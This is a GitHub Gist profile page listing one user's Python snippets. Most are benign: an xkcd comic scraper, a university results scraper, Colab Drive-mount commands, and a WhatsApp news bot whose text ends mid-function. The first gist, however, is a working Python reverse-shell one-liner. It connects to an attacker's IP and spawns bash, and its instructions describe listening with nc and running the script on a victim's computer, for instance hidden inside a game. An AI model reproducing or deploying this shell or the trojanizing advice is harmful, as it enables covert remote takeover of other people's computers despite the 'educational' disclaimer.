Skip to content

Instantly share code, notes, and snippets.

View skaravind's full-sized avatar

S K Aravind skaravind

View GitHub Profile
@skaravind
skaravind / reverse_shell.py
Last active August 6, 2021 20:26
One liner reverse shell Python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((<IP_ADDRESS>,<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
'''
This is for educational purposes, do not use this to illegally hack someone. Hack with permission.
1. Add the attacker's IP_ADDRESS and PORT
2. run "nc -l PORT" or "nc -lp PORT" in the attacker's comp and start listening on the PORT.
3. run this script in the victim's computer by whatever means at your disposal. (e.g. make a game that runs this script in the backend)
VOILA, you should have full computer access of the victim.
'''
@skaravind
skaravind / Comic-Scraper.py
Created March 2, 2019 23:10
Multi Threaded Comics Scraper. This code is for xkcd comics.
from bs4 import BeautifulSoup
import requests
from urllib.request import urlretrieve,urlopen
from tqdm import tqdm
import re
import threading
from queue import Queue
queue = Queue()
base = "https://xkcd.com"
@skaravind
skaravind / ranking.py
Created December 15, 2018 08:18
Result scraper for NITRR website
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from time import sleep
from selenium.webdriver.support.ui import Select
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By
#from bs4 import BeautifulSoup
#import requests
import pyautogui
import os
#colab
# google-drive-ocamlfuseのインストール
# https://github.com/astrada/google-drive-ocamlfuse
!apt-get install -y -qq software-properties-common python-software-properties module-init-tools
!add-apt-repository -y ppa:alessandro-strada/ppa 2>&1 > /dev/null
!apt-get update -qq 2>&1 > /dev/null
!apt-get -y install -qq google-drive-ocamlfuse fuse
# Colab用のAuth token作成
from google.colab import auth
@skaravind
skaravind / NewsBot.py
Last active March 10, 2020 18:22
Whatsapp bot for fetching news
from selenium import webdriver
from bs4 import BeautifulSoup
import requests
from time import sleep
def getNews():
text_box = browser.find_element_by_class_name("_2S1VP")
response = "Let me fetch and send top 5 latest news:\n"
text_box.send_keys(response)
soup = BeautifulSoup(requests.get(url).content, "html5lib")